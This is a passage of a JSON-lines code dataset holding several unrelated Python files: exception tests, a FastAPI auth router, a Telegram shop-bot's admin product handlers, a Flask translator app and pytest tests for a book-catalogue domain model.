RigelfileAlreadyExistsError,\n RigelfileNotFoundError,\n UnformattedRigelfileError,\n UnknownROSPackagesError,\n UnsupportedCompilerError,\n UnsupportedPlatformError\n)\n\n\nclass ExceptionTesting(unittest.TestCase):\n \"\"\"\n Test suite for all classes declared in rigel.exceptions.\n \"\"\"\n\n def test_rigelfile_not_found_error(self) -> None:\n \"\"\"\n Ensure that instances of RigelfileNotFoundError are thrown as expected.\n \"\"\"\n err = RigelfileNotFoundError()\n self.assertEqual(err.code, 6)\n\n def test_rigelfile_already_exists_error(self) -> None:\n \"\"\"\n Ensure that instances of RigelfileAlreadyExistsError are thrown as expected.\n \"\"\"\n err = RigelfileAlreadyExistsError()\n self.assertEqual(err.code, 7)\n\n def test_unformatted_rigelfile_error(self) -> None:\n \"\"\"\n Ensure that instances of UnformattedRigelfileError are thrown as expected.\n \"\"\"\n test_trace = 'test_trace'\n err = UnformattedRigelfileError(trace=test_trace)\n self.assertEqual(err.code, 8)\n self.assertEqual(err.kwargs['trace'], test_trace)\n\n def test_incomplete_rigelfile_error(self) -> None:\n \"\"\"\n Ensure that instances of IncompleteRigelfileError are thrown as expected.\n \"\"\"\n test_block = 'test_block'\n err = IncompleteRigelfileError(block=test_block)\n self.assertEqual(err.code, 9)\n self.assertEqual(err.kwargs['block'], test_block)\n\n def test_empty_rigelfile_error(self) -> None:\n \"\"\"\n Ensure that instances of EmptyRigelfileError are thrown as expected.\n \"\"\"\n err = EmptyRigelfileError()\n self.assertEqual(err.code, 12)\n\n def test_unsupported_compiler_error(self) -> None:\n \"\"\"\n Ensure that instances of UnsupportedCompilerError are thrown as expected.\n \"\"\"\n test_compiler = 'test_compiler'\n err = UnsupportedCompilerError(compiler=test_compiler)\n self.assertEqual(err.code, 13)\n self.assertEqual(err.kwargs['compiler'], test_compiler)\n\n def test_unsupported_platform_error(self) -> None:\n \"\"\"\n Ensure that instances of UnsupportedPlatformError are thrown as expected.\n \"\"\"\n test_unsupported_platform = 'test_platform'\n err = UnsupportedPlatformError(platform=test_unsupported_platform)\n self.assertEqual(err.code, 14)\n self.assertEqual(err.kwargs['platform'], test_unsupported_platform)\n\n def test_plugin_not_found_error(self) -> None:\n \"\"\"\n Ensure that instances of PluginNotFoundError are thrown as expected.\n \"\"\"\n test_plugin = 'test_plugin'\n err = PluginNotFoundError(plugin=test_plugin)\n self.assertEqual(err.code, 17)\n self.assertEqual(err.kwargs['plugin'], test_plugin)\n\n def test_plugin_installation_error(self) -> None:\n \"\"\"\n Ensure that instances of PluginInstallationError are thrown as expected.\n \"\"\"\n test_plugin = 'test_plugin'\n err = PluginInstallationError(plugin=test_plugin)\n self.assertEqual(err.code, 18)\n self.assertEqual(err.kwargs['plugin'], test_plugin)\n\n def test_plugin_not_compliant_error(self) -> None:\n \"\"\"\n Ensure that instances of PluginNotCompliantError are thrown as expected.\n \"\"\"\n test_plugin = 'test_plugin'\n test_cause = 'test_cause'\n err = PluginNotCompliantError(plugin=test_plugin, cause=test_cause)\n self.assertEqual(err.code, 19)\n self.assertEqual(err.kwargs['plugin'], test_plugin)\n self.assertEqual(err.kwargs['cause'], test_cause)\n\n def test_invalid_plugin_name_error(self) -> None:\n \"\"\"\n Ensure that instances of InvalidPluginNameError are thrown as expected.\n \"\"\"\n test_plugin = 'test_plugin'\n err = InvalidPluginNameError(plugin=test_plugin)\n self.assertEqual(err.code, 20)\n self.assertEqual(err.kwargs['plugin'], test_plugin)\n\n def test_unknown_ros_packages_error(self) -> None:\n \"\"\"\n Ensure that instances of UnknownROSPackagesError are thrown as expected.\n \"\"\"\n test_packages = ', '.join(['unknown_test_package_a', 'unknown_test_package_b'])\n err = UnknownROSPackagesError(packages=test_packages)\n self.assertEqual(err.code, 21)\n self.assertEqual(err.kwargs['packages'], test_packages)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"rigel-ros/rigel","sub_path":"tests/test_exceptions.py","file_name":"test_exceptions.py","file_ext":"py","file_size_in_byte":4677,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"29287352027","text":"from typing import Optional\r\nfrom fastapi import APIRouter, Depends, Request, Header\r\nimport schemas, database, view, oauth2\r\nfrom sqlalchemy.orm import Session\r\nfrom fastapi.responses import HTMLResponse, Response, RedirectResponse\r\nfrom repository import authentication as auth\r\n\r\n\r\nrouter = APIRouter(\r\n prefix='/auth',\r\n tags=['Authentication']\r\n)\r\n\r\n\r\n# @router.get('/', response_class=HTMLResponse)\r\n# async def signin(request: Request):\r\n# if oauth2.login_check(request):\r\n# return RedirectResponse(url=\"/\")\r\n\r\n# return view.signin(request)\r\n\r\n@router.get('/', response_class=HTMLResponse)\r\nasync def signin(request: Request):\r\n if oauth2.login_check(request):\r\n return {\"msg\":\"false\"}\r\n\r\n return {\"msg\":\"true\"}\r\n\r\n\r\n# @ router.post('/', response_class=Response)\r\n# async def signin(request: schemas.Login, db: Session = Depends(database.get_db)):\r\n# return auth.signin(request, db)\r\n\r\n@ router.post('/')\r\nasync def signin(request: schemas.Login, db: Session = Depends(database.get_db)):\r\n return auth.signin(request, db)\r\n\r\n\r\n@ router.get(\"/logout\")\r\nasync def logout():\r\n return auth.logout()\r\n","repo_name":"skj974600/Capstone-Mall","sub_path":"routers/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71573272782","text":"#!/usr/bin/env python\n__author__ = 'Sergei F. Kliver'\nimport sys\nimport argparse\nfrom RouToolPa.Collections.General import IdList\n\n\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-i\", \"--fam_file\", action=\"store\", dest=\"fam_file\", required=True,\n help=\"File with families\")\nparser.add_argument(\"-o\", \"--output\", action=\"store\", dest=\"output\", default=\"stdout\",\n help=\"File to write ids\")\n\nargs = parser.parse_args()\n\nout_fd = sys.stdout if args.output == \"stdout\" else open(args.output, \"w\")\n\nid_list = IdList()\nid_list.read(args.fam_file, close_after_if_file_object=True, column_number=1, id_in_column_separator=\",\")\nid_list.write(args.output, close_after_if_file_object=True)\n","repo_name":"mahajrod/MAVR","sub_path":"scripts/sequence_clusters/extract_element_ids_from_fam_file.py","file_name":"extract_element_ids_from_fam_file.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"12833254095","text":"import re\nfrom datetime import datetime\n\nfrom aiogram import Router, F\nfrom aiogram.filters import Text\nfrom aiogram.filters.state import StateFilter\nfrom aiogram.fsm.context import FSMContext\nfrom aiogram.types import CallbackQuery, Message\nfrom aiogram.utils.keyboard import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom database.admin_methods.redis_admin_methods import get_product_attributes, set_product_attribute, del_tmp_attrs, \\\n set_tmp_media, get_tmp_media, get_tmp_media_num, del_tmp_media\nfrom database.admin_methods.rel_bd_admin_methods import get_max_product_id_glob, add_new_product, alter_product_attr, \\\n delete_product\nfrom database.methods.rel_db_methods import get_category_uuid_by_product_uuid\nfrom filters.admin_callbacks import CallbackFactoryAddProduct, CallbackFactoryProductAddingTips, \\\n CallbackFactoryAddProductFinal, CallbackFactoryGetAttrsState, CallbackFactoryChangeExistingProduct, \\\n CallbackFactoryAlterProductTip, CallbackFactoryDeleteProduct\nfrom filters.callbacks import CallbackFactoryCategories\nfrom keyboards.admin_keyboards import single_close_kb\nfrom keyboards.user_keyboards import create_categories_kb\nfrom lexicon.A_LEXICON import field_tips, fields_example\nfrom lexicon.LEXICON import input_media_type_mapper\nfrom middlewares.throttling import TimingMiddleware, IdMiddleware, DeviceMiddleware, AdminModeMiddleware\nfrom models.models import AdminStaticKb, StaticContentType\nfrom states.admin_states import AdminStates\nfrom utils.populate_with_pic import populate_media\nfrom ..user_handlers.catalog_handlers import process_products_listing\n\n# router to navigate products related requests from admin panel\nrouter: Router = Router()\nrouter.callback_query.middleware(TimingMiddleware())\nrouter.callback_query.middleware(IdMiddleware())\nrouter.callback_query.middleware(DeviceMiddleware())\nrouter.message.middleware((DeviceMiddleware()))\nrouter.callback_query.middleware(AdminModeMiddleware())\nrouter.message.middleware(AdminModeMiddleware())\n\n\n@router.message(Text(AdminStaticKb.PRODUCT_BUTTON.value), StateFilter(AdminStates.admin_start))\nasync def process_product_change_button(message: Message):\n user_id: int = message.chat.id\n await message.answer(text=\"Выберите действие\",\n reply_markup=InlineKeyboardMarkup(\n inline_keyboard=[\n [InlineKeyboardButton(\n text=\"Добавить новый товар\",\n callback_data=CallbackFactoryAddProduct(\n user_id=user_id,\n timestamp=datetime.utcnow().strftime('%d-%m-%y %H-%M')).pack())],\n [InlineKeyboardButton(\n text=\"Изменить существующий товар\",\n callback_data=CallbackFactoryChangeExistingProduct(\n user_id=user_id,\n timestamp=datetime.utcnow().strftime('%d-%m-%y %H-%M')).pack())]\n ]))\n\n\ndef fields_formatting(field_tip: dict):\n return '\\n'.join([f\"{key} = {value}\" for key, value in field_tip.items()])\n\n\ndef _initiate_new_attributes(user_id: int):\n attributes: dict = get_product_attributes(user_id)\n for key in field_tips:\n if key not in attributes:\n set_product_attribute(user_id, key, '----')\n set_product_attribute(user_id, StaticContentType.IMAGE.value, 0)\n set_product_attribute(user_id, StaticContentType.VIDEO.value, 0)\n\n\n\n@router.callback_query(CallbackFactoryProductAddingTips.filter(), StateFilter(AdminStates.admin_start))\nasync def process_new_product_tips(callback: CallbackQuery, callback_data=CallbackFactoryProductAddingTips):\n fields: dict[str, str] = field_tips\n if callback_data.action == 'exm':\n fields: dict[str, str] = fields_example\n await callback.message.answer(\n text=f\"{fields_formatting(fields)}\",\n reply_markup=single_close_kb(callback))\n await callback.answer()\n\n\n@router.callback_query(CallbackFactoryAddProductFinal.filter(), StateFilter(AdminStates.admin_start))\nasync def process_add_product_final(callback: CallbackQuery):\n attrs: dict = get_product_attributes(callback.message.chat.id)\n if '----' in attrs.values():\n await callback.message.answer('Вы заполнили не все поля')\n return await callback.answer()\n product_id: int = get_max_product_id_glob() + 1\n add_new_product(\n product_id=attrs['product_id'],\n product_name=attrs['product_name'],\n price=attrs['price'],\n description=attrs['description'],\n category_id=attrs['category_id'],\n )\n user_id = callback.message.chat.id\n media_links_photos = get_tmp_media(user_id, StaticContentType.IMAGE)\n media_links_videos = get_tmp_media(user_id, StaticContentType.VIDEO)\n for link in media_links_photos:\n populate_media(\n link=link,\n product_id=product_id,\n media_type=StaticContentType.IMAGE\n )\n for link in media_links_videos:\n populate_media(\n link=link,\n product_id=product_id,\n media_type=StaticContentType.VIDEO\n )\n\n await callback.message.answer('Товар успешно добавлен')\n del_tmp_attrs(user_id=callback.message.chat.id)\n del_tmp_media(user_id, StaticContentType.IMAGE)\n del_tmp_media(user_id, StaticContentType.VIDEO)\n _initiate_new_attributes(user_id)\n await callback.answer()\n\n\n@router.callback_query(CallbackFactoryGetAttrsState.filter(), StateFilter(AdminStates.admin_start))\nasync def process_get_current_attrs(callback: CallbackQuery):\n attrs: dict = get_product_attributes(callback.message.chat.id)\n await callback.message.answer(\n text=f\"{fields_formatting(attrs)}\"\n )\n await callback.answer()\n\n\n@router.callback_query(CallbackFactoryChangeExistingProduct.filter(), StateFilter(AdminStates.admin_start))\nasync def process_prod_change_cat_choice(callback: CallbackQuery):\n await callback.message.answer(\n text='Выберите категорию',\n reply_markup=create_categories_kb(callback))\n await callback.answer()\n\n\n@router.callback_query(CallbackFactoryAlterProductTip.filter(), StateFilter(AdminStates.admin_start))\nasync def process_product_alter(callback: CallbackQuery):\n await callback.message.answer(\n text=\"Для изменения атрибутов товара воспользуйтесь командой: \\n\"\n \"=<название_атрибута>=<новое значение> \\n\\n\"\n \"например: \\n\"\n \"832ecc97-1435-4b3d-601a5de58f3a=product_name=Nike AirForce 1\\n\\n\"\n \"Для просмотра доступных к редактированию полей нажмите кнопку <Доступные поля>\",\n reply_markup=single_close_kb(callback)\n )\n await callback.answer()\n\n\n@router.message(F.text.regexp(re.compile(r'\\S{36} *= *\\S+= *.+')), StateFilter(AdminStates.admin_start))\nasync def process_alter_attr(message: Message):\n uuid, attr, value = map(str.strip, message.text.split('='))\n alter_product_attr(\n product_uuid=uuid,\n attr_name=attr,\n value=value)\n await message.answer(\n text='Атрибут успешно обновлен'\n )\n\n\n@router.callback_query(CallbackFactoryDeleteProduct.filter(), StateFilter(AdminStates.admin_start))\nasync def process_product_delete_tip(callback: CallbackQuery,\n callback_data: CallbackFactoryDeleteProduct,\n state: FSMContext):\n product_uuid: str = callback_data.product_uuid\n category_uuid: int = get_category_uuid_by_product_uuid(product_uuid)\n delete_product(product_uuid)\n await callback.answer(\n text='Товар удален'\n )\n await process_products_listing(\n callback=callback,\n callback_data=CallbackFactoryCategories(\n user_id=callback.message.chat.id,\n uuid=category_uuid,\n timestamp=datetime.utcnow().strftime('%d-%m-%y %H-%M')),\n state=state\n )\n await callback.answer()\n\n\n@router.message(F.text.regexp(re.compile(r'image *= *.+|video * \\d+ *= *.+')))\nasync def process_photo_add(message: Message):\n media_info, link = message.text.split('=', 1)\n user_id = message.chat.id\n media = media_info.split()\n if len(media) > 1:\n media_type, product_id = media\n\n product_id = int(product_id.strip())\n link = link.strip()\n populate_media(\n link=link,\n product_id=product_id,\n media_type=input_media_type_mapper[media_type]\n )\n\n else:\n media_type = media_info.strip()\n set_tmp_media(user_id=user_id,\n link=link,\n content_type=input_media_type_mapper[media_type])\n media_num = get_tmp_media_num(user_id, input_media_type_mapper[media_type])\n set_product_attribute(user_id, media_type, media_num)\n return await message.answer('Медиа успешно добавлено')\n\n\n","repo_name":"Ivankvl7/tg-food-bot-public","sub_path":"handlers/admin_handlers/admin_product_handlers.py","file_name":"admin_product_handlers.py","file_ext":"py","file_size_in_byte":9324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38571561535","text":"from flask import Flask, render_template, request\r\nfrom yoranish import translate\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\r\ndef index():\r\n output=\"\"\r\n if request.method==\"POST\":\r\n word = request.form.get(\"inputword\")\r\n direction = int(request.form.get(\"direction\"))\r\n output=translate(word, direction)\r\n\r\n return render_template(\"index.html\", output=output)\r\n\r\n\r\n@app.route(\"/about\")\r\ndef about():\r\n with open(\"about.txt\", \"r\", encoding=\"UTF-8\") as file:\r\n return render_template(\"about.html\", content=file.readlines())\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run()\r\n","repo_name":"matej-veselovsky/yoranish","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"17896194490","text":"from pathlib import Path\nimport pytest\n\nfrom utils import get_project_root\n\nfrom capitulo.domain.model import Publisher, Author, Book, Review, User, BooksInventory\nfrom capitulo.adapters.jsondatareader import BooksJSONReader\n\n\nclass TestPublisher:\n\n def test_construction(self):\n publisher1 = Publisher(\"Avatar Press\")\n assert str(publisher1) == \"\"\n\n publisher2 = Publisher(\" \")\n assert str(publisher2) == \"\"\n\n publisher3 = Publisher(\" DC Comics \")\n assert str(publisher3) == \"\"\n\n publisher4 = Publisher(42)\n assert str(publisher4) == \"\"\n\n def test_comparison(self):\n publisher1 = Publisher(\"Avatar Press\")\n publisher2 = Publisher(\"DC Comics\")\n publisher3 = Publisher(\"Avatar Press\")\n publisher4 = Publisher(\"\")\n assert str(publisher4) == \"\"\n assert publisher1 == publisher3\n assert publisher1 != publisher2\n assert publisher3 != publisher2\n assert publisher2 != publisher3\n\n def test_sorting(self):\n publisher1 = Publisher(\"Avatar Press\")\n publisher2 = Publisher(\"Penguin Books\")\n publisher3 = Publisher(\"DC Comics\")\n assert publisher1 < publisher2\n assert publisher1 < publisher3\n assert publisher2 > publisher3\n\n def test_set_operations(self):\n publisher1 = Publisher(\"Avatar Press\")\n publisher2 = Publisher(\"DC Comics\")\n publisher3 = Publisher(\"Avatar Press\")\n set_of_publisher = set()\n set_of_publisher.add(publisher1)\n set_of_publisher.add(publisher2)\n set_of_publisher.add(publisher3)\n assert str(sorted(set_of_publisher)) == \"[, ]\"\n\n def test_attribute_setters(self):\n publisher1 = Publisher(\"Avatar Press\")\n assert str(publisher1) == \"\"\n assert publisher1.name == \"Avatar Press\"\n publisher1.name = \"DC Comics\"\n assert str(publisher1) == \"\"\n\n\nclass TestAuthor:\n\n def test_construction(self):\n author = Author(3675, \"J.R.R. Tolkien\")\n assert str(author) == \"\"\n\n with pytest.raises(ValueError):\n author = Author(123, \" \")\n\n with pytest.raises(ValueError):\n author = Author(42, 42)\n\n def test_comparison(self):\n author1 = Author(1, \"J.R.R. Tolkien\")\n author2 = Author(2, \"Neil Gaiman\")\n author3 = Author(3, \"J.K. Rowling\")\n assert author1 != author3\n assert author1 != author2\n assert author3 != author2\n\n def test_comparison_with_identical_author_ids(self):\n # for two authors to be the same, our specification just asks for the unique id to match!\n author1 = Author(1, \"Angelina Jolie\")\n author2 = Author(2, \"Angelina Jolie\")\n author3 = Author(1, \"J.K. Rowling\")\n assert author1 == author3\n assert author1 != author2\n assert author3 != author2\n\n def test_sorting_names_and_ids_same_sort_order(self):\n author1 = Author(1, \"J.K. Rowling\")\n author2 = Author(2, \"J.R.R. Tolkien\")\n author3 = Author(3, \"Neil Gaiman\")\n assert author1 < author2\n assert author1 < author3\n assert author3 > author2\n\n def test_sorting_names_and_ids_differ_in_sort_order(self):\n author1 = Author(1, \"Neil Gaiman\")\n author2 = Author(2, \"J.K. Rowling\")\n author3 = Author(3, \"J.R.R. Tolkien\")\n assert author1 < author2\n assert author1 < author3\n assert author3 > author2\n\n def test_sorting_names_are_alphabetical(self):\n author1 = Author(13, \"J.R.R. Tolkien\")\n author2 = Author(2, \"Neil Gaiman\")\n author3 = Author(98, \"J.K. Rowling\")\n assert author1 > author2\n assert author1 < author3\n assert author3 > author2\n\n def test_set_operations(self):\n author1 = Author(13, \"J.R.R. Tolkien\")\n author2 = Author(2, \"Neil Gaiman\")\n author3 = Author(98, \"J.K. Rowling\")\n set_of_authors = set()\n set_of_authors.add(author1)\n set_of_authors.add(author2)\n set_of_authors.add(author3)\n assert str(sorted(\n set_of_authors)) == \"[, , ]\"\n\n def test_coauthors(self):\n author1 = Author(1, \"Neil Gaiman\")\n author2 = Author(2, \"J.K. Rowling\")\n author3 = Author(3, \"J.R.R. Tolkien\")\n author4 = Author(4, \"Barack Obama\")\n author1.add_coauthor(author2)\n author1.add_coauthor(author3)\n assert author1.check_if_this_author_coauthored_with(author2) is True\n assert author1.check_if_this_author_coauthored_with(author3) is True\n assert author1.check_if_this_author_coauthored_with(author4) is False\n assert author2.check_if_this_author_coauthored_with(author1) is False\n author2.add_coauthor(author1)\n assert author2.check_if_this_author_coauthored_with(author1) is True\n\n def test_coauthor_same_as_author(self):\n author = Author(1, \"Neil Gaiman\")\n author.add_coauthor(author)\n assert author.check_if_this_author_coauthored_with(author) is False\n\n def test_invalid_author_ids(self):\n author = Author(0, \"J.R.R. Tolkien\")\n assert str(author) == \"\"\n\n with pytest.raises(ValueError):\n author = Author(-1, \"J.R.R. Tolkien\")\n\n with pytest.raises(ValueError):\n author = Author(13.786, \"J.R.R. Tolkien\")\n\n with pytest.raises(ValueError):\n author = Author(Publisher(\"DC Comics\"), \"J.R.R. Tolkien\")\n\n def test_attribute_setters(self):\n author1 = Author(3675, \"Barack Obama\")\n assert str(author1) == \"\"\n author1.full_name = \"J.R.R. Tolkien\"\n assert str(author1) == \"\"\n with pytest.raises(AttributeError):\n author1.unique_id = 12\n\n\nclass TestBook:\n\n def test_construction_modification(self):\n book = Book(84765876, \"Harry Potter\")\n assert str(book) == \"\"\n\n publisher = Publisher(\"Bloomsbury\")\n book.publisher = publisher\n assert str(book.publisher) == \"\"\n assert isinstance(book.publisher, Publisher)\n\n book = Book(1, \" Harry Potter \")\n assert str(book) == \"\"\n\n def test_adding_author(self):\n book = Book(84765876, \"Harry Potter\")\n author = Author(635, \"J.K. Rowling\")\n book.add_author(author)\n assert isinstance(book.authors, list)\n assert isinstance(book.authors[0], Author)\n assert str(book.authors) == \"[]\"\n\n def test_attribute_setters(self):\n book = Book(84765876, \"Harry Potter\")\n book.description = \" Harry Potter was a highly unusual boy in many ways. For one thing, he hated the summer holidays more than any other time of year. For another, he really wanted to do his homework but was forced to do it in secret, in the dead of night. And he also happened to be a wizard. \"\n assert book.description == \"Harry Potter was a highly unusual boy in many ways. For one thing, he hated the summer holidays more than any other time of year. For another, he really wanted to do his homework but was forced to do it in secret, in the dead of night. And he also happened to be a wizard.\"\n book.release_year = 1930\n assert book.release_year == 1930\n book.ebook = True\n assert book.ebook is True\n book.num_pages = 130\n assert book.num_pages == 130\n\n def test_attributes_fail(self):\n book = Book(84765876, \"Harry Potter\")\n\n book.num_pages = -1\n assert book.num_pages is None\n\n with pytest.raises(ValueError):\n book.release_year = -12\n\n with pytest.raises(ValueError):\n book.release_year = 3.5\n\n with pytest.raises(ValueError):\n book.title = 42\n\n with pytest.raises(AttributeError):\n book.book_id = 12\n\n def test_invalid_title(self):\n with pytest.raises(ValueError):\n book = Book(84765876, \"\")\n with pytest.raises(ValueError):\n book = Book(84765876, Publisher(\"DC Comics\"))\n\n def test_invalid_book_ids(self):\n book = Book(0, \"Harry Potter\")\n assert str(book) == \"\"\n\n with pytest.raises(ValueError):\n book = Book(-1, \"Harry Potter\")\n\n with pytest.raises(ValueError):\n book = Book(13.786, \"Harry Potter\")\n\n with pytest.raises(ValueError):\n book = Book(Publisher(\"DC Comics\"), \"Harry Potter\")\n\n def test_sorting(self):\n book1 = Book(874658, \"Harry Potter\")\n book2 = Book(2675376, \"Hitchhiker's Guide to the Galaxy\")\n book3 = Book(89576, \"West Side Story\")\n assert book1 < book2\n assert book1 > book3\n assert book2 > book3\n\n def test_set(self):\n book1 = Book(874658, \"Harry Potter\")\n book2 = Book(2675376, \"Hitchhiker's Guide to the Galaxy\")\n book3 = Book(89576, \"West Side Story\")\n set_of_books = set()\n set_of_books.add(book1)\n set_of_books.add(book2)\n set_of_books.add(book3)\n assert str(sorted(\n set_of_books)) == \"[, , ]\"\n\n def test_comparison(self):\n book1 = Book(874658, \"Harry Potter\")\n book2 = Book(2675376, \"Hitchhiker's Guide to the Galaxy\")\n book3 = Book(89576, \"Harry Potter\")\n book4 = Book(89576, \"West Side Story\")\n assert book1 != book2\n assert book1 != book3\n assert book3 == book4\n\n def test_remove_author(self):\n book = Book(89576, \"Harry Potter\")\n\n author1 = Author(1, \"J.R.R. Tolkien\")\n author2 = Author(2, \"Neil Gaiman\")\n author3 = Author(3, \"Ernest Hemingway\")\n author4 = Author(4, \"J.K. Rowling\")\n\n authors = [author1, author2, author3, author4]\n for author in authors:\n book.add_author(author)\n\n assert str(\n book.authors) == \"[, , , ]\"\n\n # remove an Author who is not in the list\n book.remove_author(Author(5, \"George Orwell\"))\n assert str(\n book.authors) == \"[, , , ]\"\n\n # remove an Author who is in the list\n book.remove_author(author2)\n assert str(\n book.authors) == \"[, , ]\"\n\n\nclass TestReview:\n\n def test_construction(self):\n book = Book(2675376, \"Harry Potter\")\n review_text = \" This book was very enjoyable. \"\n rating = 4\n user = User('DogLover', 'ihatedogs44')\n\n review = Review(book, review_text, rating, user)\n\n assert str(review.book) == \"\"\n assert str(review.review_text) == \"This book was very enjoyable.\"\n assert review.rating == 4\n\n def test_attributes_access(self):\n book = Book(2675376, \"Harry Potter\")\n user = User('catsrokay', 'ifkingluvcats55')\n review = Review(book, 42, 3, user)\n assert str(review.book) == \"\"\n assert str(review.review_text) == \"N/A\"\n assert review.rating == 3\n\n def test_invalid_parameters(self):\n book = Book(2675376, \"Harry Potter\")\n review_text = \"This book was very enjoyable.\"\n user = User('whenwill', 'thisend24')\n\n with pytest.raises(ValueError):\n review = Review(book, review_text, -1, user)\n\n with pytest.raises(ValueError):\n review = Review(book, review_text, 6, user)\n\n def test_set_of_reviews(self):\n book1 = Book(2675376, \"Harry Potter\")\n book2 = Book(874658, \"Lord of the Rings\")\n user = User('idkwhat', 'imdoing34')\n review1 = Review(book1, \"I liked this book\", 4, user)\n review2 = Review(book2, \"This book was ok\", 3, user)\n review3 = Review(book1, \"This book was exceptional\", 5, user)\n assert review1 != review2\n assert review1 != review3\n assert review3 != review2\n\n def test_wrong_book_object(self):\n publisher = Publisher(\"DC Comics\")\n user = User('idkwhat', 'imdoing34')\n review = Review(publisher, \"I liked this book\", 4, user)\n assert review.book is None\n\n\nclass TestUser:\n\n def test_construction(self):\n user1 = User('Shyamli', 'pw12345')\n user2 = User('Martin', 'pw67890')\n user3 = User('Daniel', 'pw87465')\n assert str(user1) == \"\"\n assert str(user2) == \"\"\n assert str(user3) == \"\"\n\n def test_sort_ordering(self):\n user1 = User(\"shyamli\", \"pw12345\")\n user2 = User(\"martin\", \"pw67890\")\n user3 = User(\"daniel\", \"pw12345\")\n assert user1 > user2\n assert user1 > user3\n assert user2 > user3\n\n def test_comparison(self):\n user1 = User(\"martin\", \"pw12345\")\n user2 = User(\"shyamli\", \"pw67890\")\n user3 = User(\"martin\", \"pw45673\")\n assert user1 == user3\n assert user1 != user2\n assert user3 != user2\n\n def test_set_operations(self):\n user1 = User('shyamli', 'pw12345')\n user2 = User('martin', 'pw67890')\n user3 = User('daniel', 'pw87465')\n set_of_users = set()\n set_of_users.add(user1)\n set_of_users.add(user2)\n set_of_users.add(user3)\n assert str(sorted(set_of_users)) == \"[, , ]\"\n\n def test_reading_a_book(self):\n books = [Book(874658, \"Harry Potter\"), Book(89576, \"Lord of the Rings\")]\n books[0].num_pages = 107\n books[1].num_pages = 121\n user = User(\"Martin\", \"pw12345\")\n assert user.read_books == []\n assert user.pages_read == 0\n for book in books:\n user.read_a_book(book)\n assert str(\n user.read_books) == \"[, ]\"\n assert user.pages_read == 228\n\n def test_user_reviews(self):\n books = [Book(874658, \"Harry Potter\"), Book(89576, \"Lord of the Rings\")]\n user = User(\"Martin\", \"pw12345\")\n assert user.reviews == []\n review1 = Review(books[0], \"I liked this book\", 4, user)\n review2 = Review(books[1], \"This book was ok\", 2, user)\n user.add_review(review1)\n user.add_review(review2)\n assert str(user.reviews[0].review_text) == \"I liked this book\"\n assert user.reviews[0].rating == 4\n assert str(user.reviews[1].review_text) == \"This book was ok\"\n assert user.reviews[1].rating == 2\n\n def test_passwords(self):\n user1 = User(' shyamli ', 'pw12345')\n user2 = User('martin', 'p90')\n assert str(user1) == \"\"\n assert str(user1.password) == \"pw12345\"\n assert str(user2) == \"\"\n assert user2.password is None\n\n def test_reading_list(self):\n user1 = User(' Shyamli ', 'pw12345')\n assert len(user1.reading_list) == 0\n book1 = Book(874658, \"Harry Potter\")\n user1.add_to_reading_list(book1)\n assert len(user1.reading_list) == 1\n assert user1.reading_list[0] == book1\n user1.remove_from_reading_list(book1)\n assert len(user1.reading_list) == 0\n\n\n@pytest.fixture\ndef read_books_and_authors():\n books_file_name = 'comic_books_excerpt.json'\n authors_file_name = 'book_authors_excerpt.json'\n\n # we use a method from a utils file in the root folder to figure out the root\n # this way testing code is always finding the right path to the data files\n root_folder = get_project_root()\n data_folder = Path(\"capitulo/adapters/data\")\n path_to_books_file = str(root_folder / data_folder / books_file_name)\n path_to_authors_file = str(root_folder / data_folder / authors_file_name)\n reader = BooksJSONReader(path_to_books_file, path_to_authors_file)\n reader.read_json_files()\n return reader.dataset_of_books\n\n\nclass TestBooksJSONReader:\n\n def test_read_books_from_file(self, read_books_and_authors):\n dataset_of_books = read_books_and_authors\n assert str(dataset_of_books[0]) == \"\"\n assert str(dataset_of_books[9]) == \"\"\n assert str(dataset_of_books[19]) == \"\"\n\n def test_read_books_from_file_and_check_authors(self, read_books_and_authors):\n dataset_of_books = read_books_and_authors\n assert str(dataset_of_books[0].authors[0]) == \"\"\n assert str(dataset_of_books[15].authors[0]) == \"\"\n assert len(dataset_of_books[3].authors) == 2\n assert str(dataset_of_books[3].authors[1]) == \"\"\n\n def test_read_books_from_file_and_check_other_attributes(self, read_books_and_authors):\n dataset_of_books = read_books_and_authors\n assert dataset_of_books[2].release_year == 2012\n assert dataset_of_books[\n 19].description == \"Lenalee is determined to confront a Level 4 Akuma that's out to kill Komui, but her only chance is to reclaim her Innocence and synchronize with it. The Level 4 is not inclined to wait around and pursues its mission even against the best efforts of Lavi and Kanda. It's left to Allen to hold the line, but it soon becomes obvious he has no hope of doing it all by himself!\"\n assert str(dataset_of_books[4].publisher) == \"\"\n assert isinstance(dataset_of_books[4].publisher, Publisher)\n assert isinstance(dataset_of_books[4].authors[0], Author)\n assert dataset_of_books[4].ebook is False\n assert dataset_of_books[0].ebook is True\n assert dataset_of_books[0].num_pages is None\n assert dataset_of_books[2].num_pages == 146\n assert dataset_of_books[5].num_pages == 206\n\n def test_read_books_from_file_special_characters(self, read_books_and_authors):\n dataset_of_books = read_books_and_authors\n assert dataset_of_books[17].title == \"續.星守犬\"\n\n\nclass TestBooksInventory:\n\n def test_construction_and_find(self):\n inventory = BooksInventory()\n\n publisher1 = Publisher(\"Avatar Press\")\n\n book1 = Book(17, \"Lord of the Rings\")\n book1.publisher = publisher1\n\n book2 = Book(64, \"Our Memoires\")\n book2.publisher = publisher1\n\n inventory.add_book(book1, 20, 7)\n inventory.add_book(book2, 30, 2)\n\n assert inventory.find_price(64) == 30\n assert inventory.find_stock_count(17) == 7\n assert inventory.find_book(99) is None\n\n def test_remove_books(self):\n inventory = BooksInventory()\n\n publisher1 = Publisher(\"Avatar Press\")\n publisher2 = Publisher(\"Harpercollins\")\n\n 